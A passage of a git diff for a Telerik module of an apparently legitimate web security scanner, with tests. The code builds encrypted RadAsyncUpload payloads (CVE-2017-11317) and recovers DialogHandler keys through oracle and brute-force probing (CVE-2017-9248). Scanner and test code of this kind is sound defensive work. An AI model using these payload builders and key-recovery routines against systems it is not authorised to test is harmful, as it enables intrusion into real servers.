self.emit_event( + { + "host": str(event.host), + "url": url, + "description": ( + f"Confirmed Telerik RAU RCE. Version: [{version}] " + f"Hash key: [{hash_key}] Encryption key: [{enc_key}] " + f"KDF: [{kdf_mode}] HMAC: [{include_hmac}]" + ), + "name": "Telerik RAU RCE (CVE-2017-11317)", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + }, + "FINDING", + event, + context=f"{{module}} confirmed {{event.type}}: Telerik RAU RCE at {base_url}", + ) + return True + return False + + def _rau_encrypt(self, plaintext, key, iv): + """AES-256-CBC with the null-byte-interleaved plaintext encoding Telerik RAU uses.""" + interleaved = "".join(c + "\x00" for c in plaintext) + pad_len = 16 - (len(interleaved) % 16) + padded = interleaved + (chr(pad_len) * pad_len) + cipher = AES.new(key, AES.MODE_CBC, iv) + return base64.b64encode(cipher.encrypt(padded.encode())).decode() + + def _rau_sign(self, ciphertext_b64, hash_key, include_hmac): + if not include_hmac: + return ciphertext_b64 + from Crypto.Hash import HMAC, SHA256 + + h = HMAC.new(key=hash_key.encode(), msg=ciphertext_b64.encode(), digestmod=SHA256.new()) + return f"{ciphertext_b64}{base64.b64encode(h.digest()).decode()}" + + def _build_rau_multipart(self, assembly_version, enc_key, hash_key, kdf_mode, include_hmac): + """Build the httpx `files=` dict for a RAU payload with explicit KDF + HMAC choices.""" + if kdf_mode == "PBKDF1_MS": + key, iv = self._enc.telerik_derivekeys_PBKDF1_MS(enc_key) + else: + key, iv = self._enc.telerik_derivekeys_PBKDF2(enc_key) + + enc_target_folder = self._rau_sign(self._rau_encrypt("", key, iv), hash_key, include_hmac) + enc_temp_folder = self._rau_sign(self._rau_encrypt("C:\\windows\\temp\\", key, iv), hash_key, include_hmac) + rau_post_data_json = ( + f'{{"TargetFolder":"{enc_target_folder}",' + f'"TempTargetFolder":"{enc_temp_folder}",' + '"MaxFileSize":0,' + '"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,' + '"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,' + '"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},' + '"UseApplicationPoolImpersonation":false}' + ) + assembly_type = ( + f'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version="{assembly_version}", ' + "Culture=neutral, PublicKeyToken=121fae78165ba3d4" + ) + rau_post_data = f"{self._rau_encrypt(rau_post_data_json, key, iv)}&{self._rau_encrypt(assembly_type, key, iv)}" + upload_id = self.helpers.rand_string(12).lower() + ".txt" + return { + "rauPostData": (None, rau_post_data), + "file": ("blob", b"\x00", "application/octet-stream"), + "fileName": (None, self.helpers.rand_string(8)), + "contentType": (None, "text/html"), + "lastModifiedDate": (None, "2020-01-02T08:02:01.067Z"), + "metadata": ( + None, + f'{{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"{upload_id}"}}', + ), + } + + # ----------------------------------------------------------------------- + # DialogHandler (CVE-2017-9248) + # ----------------------------------------------------------------------- + + async def _probe_dialoghandler(self, base_url, event): + """ + Try the default path first (sequential) — DialogHandler is a global handler that + responds identically regardless of path, so on a real target the default path + almost always works and produces a less confusing finding URL. Only fan out to + the extended candidate list if the default doesn't match. + """ + if not self.dialoghandler_urls: + return None + + default_dh = self.dialoghandler_urls[0] + default_response = await self.helpers.request(f"{base_url}{default_dh}?dp=1", timeout=self.scan.http_timeout) + if default_response and "Cannot deserialize dialog parameters" in default_response.text: + return await self._emit_dialoghandler(base_url, default_dh, event) + + remaining = {f"{base_url}{dh}?dp=1": dh for dh in self.dialoghandler_urls[1:]} + if not remaining: + return None + + fail_count = 0 + async for url, response in self.helpers.request_batch_stream(list(remaining)): + if response is None: + fail_count += 1 + if fail_count < 2: + continue + self.debug(f"Cancelling DialogHandler probe against {base_url} after repeated failures") + return None + if "Cannot deserialize dialog parameters" not in response.text: + continue + return await self._emit_dialoghandler(base_url, remaining[url], event) + return None + + async def _emit_dialoghandler(self, base_url, dh, event): + dh_url = f"{base_url}{dh}" + self.verbose(f"Detected Telerik DialogHandler at {dh_url}") + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": "Telerik DialogHandler detected", + "name": "Telerik DialogHandler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik DialogHandler", + ) + return dh_url + + async def _detect_kdf_mode(self, dh_url): + """Send an empty probe; response error tells us which KDF the target uses.""" + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": "AAAA"}) + if not response: + return None + return self._classify_kdf_response(response.text) - async def filter_event(self, event): - if event.type == "URL" and "endpoint" in event.tags: + @staticmethod + def _classify_kdf_response(text): + # "Invalid length for a Base-64" comes from an input-length gate that fires before + # any crypto happens — it tells us nothing about KDF or patch status. Only the + # crypto-layer error strings actually classify the derivation mode. + if ( + "Exception of type 'System.Exception' was thrown" in text + or "The cryptographic operation has failed!" in text + ): + return "PBKDF2" + if "Length cannot be less than zero" in text: + return "PBKDF1_MS" + return None + + async def _probe_dialoghandler_oracle(self, dh_url, event, rau_version=None): + """ + Port of dp_cryptomg's find_baseline(): send crafted GET ?dp= + payloads iterating combinations of [0x00, 0x6b, 0x08]. A response containing + `Index was outside the bounds of the array.` or `String was not recognized as a + valid Boolean.` proves the byte-oracle leaks decryption state and CVE-2017-9248 + byte-by-byte key recovery is feasible against this target. + """ + test_bytes = [b"\x00", b"\x6b", b"\x08"] + for combo in itertools.product(test_bytes, repeat=4): + payload = base64.b64encode(b"".join(combo)).decode() + response = await self.helpers.request(f"{dh_url}?dp={payload}", timeout=self.scan.http_timeout) + if not response: + continue + text = response.text + if ( + "Index was outside the bounds of the array." in text + or "String was not recognized as a valid Boolean." in text + ): + self.verbose(f"dp_cryptomg baseline probe leaked on 4-byte combo {combo!r}; oracle confirmed") + version_note = f" Version: [{rau_version}] (from RAU)" if rau_version else "" + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": ( + "Telerik DialogHandler is exploitable via CVE-2017-9248 byte-oracle " + f"key recovery.{version_note}" + ), + "name": "Telerik DialogHandler Oracle (CVE-2017-9248)", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + }, + "FINDING", + event, + context=f"{{module}} confirmed CVE-2017-9248 byte-oracle at {dh_url}", + ) + return True + return False + + async def _probe_dialoghandler_knownkey(self, dh_url, event, kdf_mode, rau_version=None): + """Returns True if a known key pair was recovered and a finding emitted.""" + include_machinekeys = self.config.get("include_machinekeys", False) + if kdf_mode == "PBKDF1_MS": + hash_key = await self._solve_dh_hashkey(dh_url, include_machinekeys) + if not hash_key: + return False + enc_key = await self._solve_dh_enckey(dh_url, hash_key, kdf_mode, include_machinekeys) + if not enc_key: + return False + elif kdf_mode == "PBKDF2": + match = await self._solve_dh_pbkdf2_combined(dh_url, include_machinekeys) + if not match: + return False + hash_key, enc_key = match + else: return False + + # We have the keys — reuse them to identify the installed Telerik version + # via response-size delta from a fake-version baseline. Safe (no uploads). + # Emit follows the same pattern as RAU: CRITICAL/CONFIRMED when version is nailed, + # HIGH/HIGH with an "attempted but failed" note when it isn't. + self.verbose(f"Identifying DialogHandler Telerik version (baseline + {len(self.telerik_versions)} probes)") + version = await self._detect_dh_version(dh_url, hash_key, enc_key, kdf_mode) + # If DH probing didn't identify a version but RAU already did on this host, use that — + # same install, same Telerik.Web.UI.dll. + version_source = None + if version: + version_source = "DH probe" + elif rau_version: + version = rau_version + version_source = "RAU" + + if version: + self.verbose(f"DH version identified: {version} (via {version_source})") + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": ( + f"Telerik DialogHandler configured with a known hash/encryption key pair " + f"and identified version. Hash key: [{hash_key}] Encryption key: [{enc_key}] " + f"KDF: [{kdf_mode}] Version: [{version}] (source: {version_source})" + ), + "name": "Telerik DialogHandler Known Key (CVE-2017-9248)", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + }, + "FINDING", + event, + context=f"{{module}} recovered a known Telerik key pair and version at {dh_url}", + ) else: - return True + self.verbose("DH version detection exhausted; emitting HIGH keys-accepted finding") + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": ( + f"Telerik DialogHandler configured with a known hash/encryption key pair. " + f"Hash key: [{hash_key}] Encryption key: [{enc_key}] KDF: [{kdf_mode}]. " + "Version detection was attempted but failed — target's installed Telerik " + "version is not in the candidate list." + ), + "name": "Telerik DialogHandler Known Key (CVE-2017-9248)", + "severity": "HIGH", + "confidence": "HIGH", + }, + "FINDING", + event, + context=f"{{module}} recovered a known Telerik key pair (version unknown) at {dh_url}", + ) + return True + + async def _detect_dh_version(self, dh_url, hash_key, enc_key, kdf_mode): + """ + Once keys are known, iterate versions in the DialogTypeName plaintext to identify the + installed Telerik.Web.UI. Mirrors badsecrets DialogHandler.probe_version: fake-version + 9999.9.999 gives us a baseline response size; a real installed version produces a + response ~10+ bytes off baseline because the assembly loads and the dialog code + proceeds further. + """ + baseline_size = await self._dh_version_probe_size(dh_url, "9999.9.999", hash_key, enc_key, kdf_mode) + if baseline_size is None: + self.verbose("DH version baseline probe failed") + return None + for version in self.telerik_versions: + size = await self._dh_version_probe_size(dh_url, version, hash_key, enc_key, kdf_mode) + if size is None: + continue + if abs(size - baseline_size) > 10: + self.verbose(f"DH version identified: {version} (size delta {size - baseline_size})") + return version + return None + + async def _dh_version_probe_size(self, dh_url, version, hash_key, enc_key, kdf_mode): + """ + Build a DialogParameters payload with `version` in the DialogTypeName field and return + the target's response length (or None on network failure). Payload skeleton matches + badsecrets DialogHandler.probe_version's non-modern form. + """ + b64section_plain = ( + f"Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, " + f"Version={version}, Culture=neutral, PublicKeyToken=121fae78165ba3d4" + ) + b64section = base64.b64encode(b64section_plain.encode()).decode() + plaintext = ( + "EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;" + "EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;" + "UploadPaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;SearchPatterns,True,0,S2k0cQ==;" + "EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;" + "LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;" + "ViewPaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;IsSkinTouch,False,3,False;" + "ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;" + f"Telerik.DialogDefinition.DialogTypeName,False,0,{b64section};" + "AllowMultipleSelection,False,3,False" + ) + derived_key, derived_iv = self._enc.telerik_derivekeys(enc_key, kdf_mode) + ct = self._enc.telerik_encrypt(derived_key, derived_iv, plaintext) + signed = self._hash.sign_enc_dialog_params(hash_key, ct) + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": signed}) + if not response: + return None + return len(response.text) + + async def _solve_dh_hashkey(self, dh_url, include_machinekeys): + """PBKDF1_MS mode: hashkey solves independently via 'input data is not a complete block' oracle.""" + for probe, hash_key in self._hash.hashkey_probe_generator(include_machinekeys=include_machinekeys): + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": probe}) + if not response: + continue + if "The input data is not a complete block" in response.text: + self.verbose(f"DialogHandler hash key matched: [{hash_key}]") + return hash_key + return None + + async def _solve_dh_enckey(self, dh_url, hash_key, kdf_mode, include_machinekeys): + """Once hashkey is known, enckey solves via 'Index was outside the bounds of the array' oracle.""" + for probe, enc_key in self._enc.encryptionkey_probe_generator( + hash_key, kdf_mode, include_machinekeys=include_machinekeys + ): + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": probe}) + if not response: + continue + if "Index was outside the bounds of the array" in response.text: + self.verbose(f"DialogHandler encryption key matched: [{enc_key}]") + return enc_key + return None + + async def _solve_dh_pbkdf2_combined(self, dh_url, include_machinekeys): + """ + PBKDF2 mode: no per-key oracle, only response-size delta from a dummy baseline. + We spray hash × enc combinations; the true pair produces a response ~10+ bytes off baseline. + """ + baseline_probe = self._build_pbkdf2_probe("dummy", "dummy") + baseline = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": baseline_probe}) + if not baseline: + return None + baseline_size = len(baseline.text) + for hash_key in self._hash.prepare_keylist(include_machinekeys=include_machinekeys): + for enc_key in self._enc.prepare_keylist(include_machinekeys=include_machinekeys): + probe = self._build_pbkdf2_probe(hash_key, enc_key) + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": probe}) + if not response: + continue + if abs(len(response.text) - baseline_size) > 10: + self.verbose(f"DialogHandler PBKDF2 key pair matched: hash=[{hash_key}] enc=[{enc_key}]") + return hash_key, enc_key + return None + + def _build_pbkdf2_probe(self, hash_key, enc_key): + plaintext = "EnableAsyncUpload,False,3,True;AllowMultipleSelection,False,3,False" + derived_key, derived_iv = self._enc.telerik_derivekeys(enc_key, "PBKDF2") + ct = self._enc.telerik_encrypt(derived_key, derived_iv, plaintext) + return self._hash.sign_enc_dialog_params(hash_key, ct) + + # ----------------------------------------------------------------------- + # SpellCheckHandler + # ----------------------------------------------------------------------- + + async def _probe_spellcheck(self, base_url, event): + url = f"{base_url}Telerik.Web.UI.SpellCheckHandler.axd" + result = await self.helpers.request(url, timeout=self.scan.http_timeout) + if getattr(result, "status_code", 0) != 500: + return + # False-positive filter: sites that 500 on every unknown .axd. + validate_url = f"{base_url}{self.helpers.rand_string()}.axd" + validate_result = await self.helpers.request(validate_url, timeout=self.scan.http_timeout) + if getattr(validate_result, "status_code", 0) in (0, 500): + return + self.debug("Detected Telerik SpellCheckHandler") + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": "Telerik SpellCheckHandler detected", + "name": "Telerik SpellCheckHandler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik SpellCheckHandler", + ) + + # ----------------------------------------------------------------------- + # ChartImage.axd + # ----------------------------------------------------------------------- + + async def _probe_chartimage(self, base_url, event): + canary = "ChartImage.axd?ImageName=bqYXJAqm315eEd6b%2bY4%2bGqZpe7a1kY0e89gfXli%2bjFw%3d" + result = await self.helpers.request(f"{base_url}{canary}", timeout=self.scan.http_timeout) + if getattr(result, "status_code", 0) != 200: + return + error_probe = "ChartImage.axd?ImageName=" + result_error = await self.helpers.request(f"{base_url}{error_probe}", timeout=self.scan.http_timeout) + if getattr(result_error, "status_code", 0) in (0, 200): + return + await self.emit_event( + { + "host": str(event.host), + "url": f"{base_url}{canary}", + "description": "Telerik ChartImage AXD Handler detected", + "name": "Telerik ChartImage Handler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik ChartImage Handler", + ) + + # ----------------------------------------------------------------------- + # Passive HTTP_RESPONSE carve + # ----------------------------------------------------------------------- + + async def _carve_http_response(self, event): + body = event.body + if not body: + return + if '":{"SerializedParameters":"' in body: + await self.emit_event( + { + "host": str(event.host), + "url": event.url, + "description": "Telerik DialogHandler [SerializedParameters] detected in HTTP response", + "name": "Telerik DialogHandler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik DialogHandler", + ) + elif '"_serializedConfiguration":"' in body: + await self.emit_event( + { + "host": str(event.host), + "url": event.url, + "description": "Telerik AsyncUpload [serializedConfiguration] detected in HTTP response", + "name": "Telerik AsyncUpload", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik AsyncUpload", + ) diff --git a/bbot/presets/web/dotnet-audit.yml b/bbot/presets/web/dotnet-audit.yml index 2cf50db9d3..e246428626 100644 --- a/bbot/presets/web/dotnet-audit.yml +++ b/bbot/presets/web/dotnet-audit.yml @@ -22,5 +22,5 @@ config: webbrute_shortnames: find_subwords: True telerik: - exploit_RAU_crypto: True + rau_confirm_version: True # Identify the exact Telerik version by uploading a benign 1-byte file include_subdirs: True # Run against every directory, not the default first received URL per-host diff --git a/bbot/test/test_step_2/module_tests/test_module_telerik.py b/bbot/test/test_step_2/module_tests/test_module_telerik.py index 449060066a..6226c7b7be 100644 --- a/bbot/test/test_step_2/module_tests/test_module_telerik.py +++ b/bbot/test/test_step_2/module_tests/test_module_telerik.py @@ -3,12 +3,40 @@ from bbot.test.worker import HTTPSERVER_URL +_rau_call_count = [0] + + +def _rau_two_stage_handler(request): + """ + Mock a vulnerable RAU endpoint. The safe fake-version probe (POST #1) gets 'Could not + load file or assembly'; subsequent POSTs (version iteration) get the fileInfo upload + blob. The version string is encrypted so we distinguish stages by call ordering. + """ + from werkzeug.wrappers import Response + + _rau_call_count[0] += 1 + if _rau_call_count[0] == 1: + return Response( + "Exception Details: System.IO.FileLoadException: Could not load file or assembly " + "'Telerik.Web.UI, Version=9999.9.999, Culture=neutral, PublicKeyToken=121fae78165ba3d4'", + status=200, + ) + return Response( + '{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":5,' + '"DateJson":"2019-01-02T03:04:05.067Z","Index":0}, "metaData":"stub"}', + status=200, + ) + + class TestTelerik(ModuleTestBase): targets = [HTTPSERVER_URL, f"{HTTPSERVER_URL}/telerik.aspx"] modules_overrides = ["http", "telerik"] - config_overrides = {"modules": {"telerik": {"exploit_RAU_crypto": True}}} + config_overrides = {"modules": {"telerik": {"rau_confirm_version": True}}} async def setup_before_prep(self, module_test): + # Reset the RAU handler call counter for test isolation. + _rau_call_count[0] = 0 + # Simulate Telerik.Web.UI.WebResource.axd?type=rau detection expect_args = {"method": "GET", "uri": "/Telerik.Web.UI.WebResource.axd", "query_string": "type=rau"} respond_args = { @@ -16,18 +44,13 @@ async def setup_before_prep(self, module_test): } module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - # Simulate Vulnerable Telerik.Web.UI.WebResource.axd - vuln_data = "ATTu5i4R+ViNFYO6kst0jC11wM/1iqH+W/isjhaDjNuCI7eJ/BY5d1E9eqZK27CJCMuon9u8/hgRIM/cTlgLlv4qOYjPBjs81Y3dAZAdtIr3TXiCmZi9M09a1BYMxjvGKfVky3b7PoOppeWS/3rglTwL1e8oyqLGx2NKUH5y8Cd+kLKV2f31J1sV4I5HTDKgDmvziJp3zlDrCb0Fi9ilKH+O1cbVx6SdBop/U30FxLaB/QIbt2N1rQHREJ5Skpgo7dilPxzBaTObdBhCVyB/FiJhenS/0u3h0Mpi6+A40SylICcyyxQha7+Uh7lEJ8Ne+2eTs4WqcaaQbvIhy7oHc+D0soxRKMZRjo7Up+UWHQJJh6KtWSCxUESNSdNcxjPQZE9HqsPlldVlkeC+ehSGce5bR0Ylots6Iz1OoCgMEWwxByeG3VzgxF6XpitL61A1hFcNo9euSTnCfOWh0vrQHON7DN5LpM9xr7SoD0Dnu01hZ9NS1PHhPLyN5WS87u5qdZp/z3Sxwc3wawIdo62RNf4Iz2gAKJZnPfxrE1mRn5kBe7f6O44rcuv6lcdao/DGlwbERKwRI6/n+FxGmc7H5iEKyihIwS2XUoOgsYTx5CWCDM8CuOXTk+H5fPYp9APRPbkD1IS9I/vRmvNPwWsgv8/7DzttqdBsGxiZJfCw1uZ7KSVmbItgXPAcscNxGEMaHXyJzkAl/mlM5/t/YSejwYoSW6jFfQcLdaVx2dpIpl5UmmQjFedzKeiNqpZDCk4yzXFHX24XUODYMJDtIJK2Hz1KTZmFG+LAOJjB9QOI58hFAnytcKay+JWFrzah/IvoNZxJUtlYdxw0YEyKs/ExET7AXgYQN0S+8j2PfaMMpzDSctTqpp5XBFV4Mt718GiqVnQJtWQv2p9Xl8XXOerBthbzzAciVcB8AV2WfZ51W3e4aX4kcyT/sCJhm7NR5WrNG5mX/ns0TTnGnzlPYhJcbu8uMFjMGDpXuhVyroJ7wmZucaIvesg0h5Y9cMEFviqsdy15vjMzFh+v9uO9Vicf6n9Z9JGSpWKE8wer2JU5b53Zw0cTfulAAffLWXnzOnfu&6R/cGaqQeHVAzdJ9wTFOyCsrMSTtqcjLe8AHwiPckPDUwecnJyNlkDYwDQpxGYQ9hs6YxhupK310sbCbtXB4H6Dz5rGNL40nkkyo4j2clmRr08jtFsPQ0RpE5BGsulPT3l0MxyAvPFMs8bMybUyAP+9RB9LoHE3Xo8BqDadX3HQakpPfGtiDMp+wxkWRgaNpCnXeY1QewWTF6z/duLzbu6CT6s+H4HgBHrOLTpemC2PvP2bDm0ySPHLdpapLYxU8nIYjLKIyYJgwv9S9jNckIVpcGVTWVul7CauCKxAB2mMnM9jJi8zfFwKajT5d2d9XfpkiVMrdlmikSB/ehyX1wQ==" - expect_args = { - "method": "POST", - "uri": "/Telerik.Web.UI.WebResource.axd", - "query_string": "type=rau", - "data": vuln_data, - } - respond_args = { - "response_data": '{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":5,"DateJson":"2019-01-02T03:04:05.067Z","Index":0}, "metaData":"CS8S/Z0J/b2982DRxDin0BBslA7fI0cWMuWlPu4W3FkE4tKaVoIEiAOtVlJ6D+0RQsfu8ox6gvMYxceQ0LtWyTkQBaIUa8LgLQg05DMaQuufHNx0YQ2ACi5neqDBvduj2MGiSGC0hNKzSWsHystZGUfFPLTZuJXYnff+WXurecuRzSI7d4Q1aj0bcTKKvfyQtH+fsTEafWRRZ99X/xgi4ON2OsRZ738uQHw7pQT2e1v7AtN46mxO/BmhEuZQr6m6HEvxK0pJRNkBhFUiQ+poeu8j3JzicOjvPDwFE4Rjqf3RVILt83XZrju2VpRIJqAEtf//znhH8BhT5BWvhnRo+J3ML5qoZLa2joE/QK8Ctf3UPvAFkHIUMdOH2mLNgZ+U87tdVE6fYfzvphZsLxmJRG45H8ZTZuYhJbOfei2LQ4fqHmr7p8KpJNVqoz/ev1dnBclAf5ayb40qJKEVsGXIbWEbIZwg7TTsLFc29aP7DPg=" }' - } - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Vulnerable RAU endpoint: first POST is the safe fake-version probe (Could not load + # file or assembly response); every POST after that is the version-iteration path + # (fileInfo upload success). Distinguish by call order because the assembly version + # is inside the encrypted rauPostData blob. + module_test.httpserver.expect_request( + "/Telerik.Web.UI.WebResource.axd", method="POST", query_string="type=rau" + ).respond_with_handler(_rau_two_stage_handler) # Simulate SpellCheckHandler detection expect_args = {"method": "GET", "uri": "/Telerik.Web.UI.SpellCheckHandler.axd"} @@ -71,8 +94,8 @@ async def setup_before_prep(self, module_test): async def setup_after_prep(self, module_test): module_test.scan.modules["telerik"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" - module_test.scan.modules["telerik"].telerikVersions = ["2014.2.724", "2014.3.1024", "2015.1.204"] - module_test.scan.modules["telerik"].DialogHandlerUrls = [ + module_test.scan.modules["telerik"].telerik_versions = ["2014.2.724", "2014.3.1024", "2015.1.204"] + module_test.scan.modules["telerik"].dialoghandler_urls = [ "Admin/ServerSide/Telerik.Web.UI.DialogHandler.aspx", "App_Master/Telerik.Web.UI.DialogHandler.aspx", "AsiCommon/Controls/ContentManagement/ContentDesigner/Telerik.Web.UI.DialogHandler.aspx", @@ -80,6 +103,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): telerik_axd_detection = False + telerik_axd_keys_accepted = False telerik_axd_vulnerable = False telerik_spellcheck_detection = False telerik_dialoghandler_detection = False @@ -87,35 +111,37 @@ def check(self, module_test, events): telerik_http_response_parameters_detection = False for e in events: - if e.type == "FINDING" and "Telerik RAU AXD Handler detected" in e.data["description"]: - e.data["description"] + if e.type == "FINDING" and e.data.get("name") == "Telerik RAU Handler": telerik_axd_detection = True continue - if e.type == "FINDING" and "Confirmed Vulnerable Telerik (version: 2014.3.1024)" in e.data["description"]: + if e.type == "FINDING" and e.data.get("name") == "Telerik RAU Default Keys Accepted (CVE-2017-11317)": + telerik_axd_keys_accepted = True + continue + + if e.type == "FINDING" and e.data.get("name") == "Telerik RAU RCE (CVE-2017-11317)": telerik_axd_vulnerable = True continue - if e.type == "FINDING" and "Telerik DialogHandler detected" in e.data["description"]: - telerik_dialoghandler_detection = True + if e.type == "FINDING" and e.data.get("name") == "Telerik DialogHandler": + if "SerializedParameters" in e.data.get("description", ""): + telerik_http_response_parameters_detection = True + else: + telerik_dialoghandler_detection = True continue - if e.type == "FINDING" and "Telerik SpellCheckHandler detected" in e.data["description"]: + if e.type == "FINDING" and e.data.get("name") == "Telerik SpellCheckHandler": telerik_spellcheck_detection = True continue - if e.type == "FINDING" and "Telerik ChartImage AXD Handler Detected" in e.data["description"]: + if e.type == "FINDING" and e.data.get("name") == "Telerik ChartImage Handler": telerik_chartimage_detection = True continue - if ( - e.type == "FINDING" - and "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response" in e.data["description"] - ): - telerik_http_response_parameters_detection = True - continue - assert telerik_axd_detection, "Telerik AXD detection failed" + assert not telerik_axd_keys_accepted, ( + "HIGH RAU Keys Accepted should be suppressed when the CRITICAL RCE also fires" + ) assert telerik_axd_vulnerable, "Telerik vulnerable AXD detection failed" assert telerik_spellcheck_detection, "Telerik spellcheck detection failed" assert telerik_dialoghandler_detection, "Telerik dialoghandler detection failed" @@ -123,6 +149,285 @@ def check(self, module_test, events): assert telerik_http_response_parameters_detection, "Telerik SerializedParameters detection failed" +class TestTelerikRAUDefaultKeys(ModuleTestBase): + """ + RAU default-keys probe (safe, no upload): fake-version payload triggers + 'Could not load file or assembly' when default keys are still accepted. + """ + + targets = ["http://127.0.0.1:8888"] + module_name = "telerik" + modules_overrides = ["http", "telerik"] + config_overrides = { + "modules": { + "telerik": { + "rau_confirm_version": False, + "try_known_keys": False, + "probe_dialoghandler_oracle": False, + } + } + } + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.WebResource.axd", "query_string": "type=rau"}, + respond_args={ + "response_data": '{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }' + }, + ) + module_test.set_expect_requests( + expect_args={"method": "POST", "uri": "/Telerik.Web.UI.WebResource.axd", "query_string": "type=rau"}, + respond_args={ + "response_data": ( + "Exception Details: System.IO.FileLoadException: Could not load file or assembly " + "'Telerik.Web.UI, Version=9999.9.999, Culture=neutral, PublicKeyToken=121fae78165ba3d4'" + ) + }, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.SpellCheckHandler.axd"}, + respond_args={"status": 404}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/ChartImage.axd"}, + respond_args={"status": 404}, + ) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["telerik"].dialoghandler_urls = [] + + def check(self, module_test, events): + handler_detected = any(e.type == "FINDING" and e.data.get("name") == "Telerik RAU Handler" for e in events) + keys_accepted = any( + e.type == "FINDING" and e.data.get("name") == "Telerik RAU Default Keys Accepted (CVE-2017-11317)" + for e in events + ) + rce_confirmed = any( + e.type == "FINDING" and e.data.get("name") == "Telerik RAU RCE (CVE-2017-11317)" for e in events + ) + assert handler_detected, "Expected Telerik RAU Handler INFO finding" + assert keys_accepted, "Expected Telerik RAU Default Keys Accepted HIGH finding" + assert not rce_confirmed, "Should NOT emit RCE finding without rau_confirm_version=True" + + +class TestTelerikDialogHandlerOracle(ModuleTestBase): + """CVE-2017-9248 quick_check: PBKDF1_MS 'Length cannot be less than zero' oracle → HIGH finding.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "telerik" + modules_overrides = ["http", "telerik"] + config_overrides = { + "modules": { + "telerik": { + "probe_dialoghandler_oracle": True, + "try_known_keys": False, + "rau_confirm_version": False, + } + } + } + + async def setup_before_prep(self, module_test): + # RAU handler: not present + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.WebResource.axd", "query_string": "type=rau"}, + respond_args={"status": 404}, + ) + # DialogHandler discovery: default path hits with the deserialize-error banner + module_test.set_expect_requests( + expect_args={ + "method": "GET", + "uri": "/Telerik.Web.UI.DialogHandler.aspx", + "query_string": "dp=1", + }, + respond_args={ + "response_data": "
Cannot deserialize dialog parameters. Please refresh the editor page.
", + }, + ) + # KDF-mode probe (POST dialogParametersHolder=AAAA) returns pre-patch PBKDF1_MS banner + # so the oracle-probe gate lets us proceed past known-key skip (try_known_keys=False) + module_test.set_expect_requests( + expect_args={"method": "POST", "uri": "/Telerik.Web.UI.DialogHandler.aspx"}, + respond_args={"response_data": "Server Error: Length cannot be less than zero. Parameter name: length."}, + ) + # find_baseline probe: GET ?dp= should leak an oracle error string + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.DialogHandler.aspx"}, + respond_args={"response_data": "Server Error: Index was outside the bounds of the array."}, + ) + # SpellCheck/ChartImage: not present + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/Telerik.Web.UI.SpellCheckHandler.axd"}, + respond_args={"status": 404}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/ChartImage.axd"}, + respond_args={"status": 404}, + ) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["telerik"].dialoghandler_urls = [ + "Telerik.Web.UI.DialogHandler.aspx", + ] + + def check(self, module_test, events): + oracle_found = any( + e.type == "FINDING" and e.data.get("name") == "Telerik DialogHandler Oracle (CVE-2017-9248)" + for e in events + ) + assert oracle_found, "Expected Telerik DialogHandler Oracle finding (CVE-2017-9248)" + + +class TestTelerikDialogHandlerKnownKey(ModuleTestBase): + """PBKDF1_MS mode: hash key + enc key each solvable via distinct oracle strings → CRITICAL finding.""" + + targets = 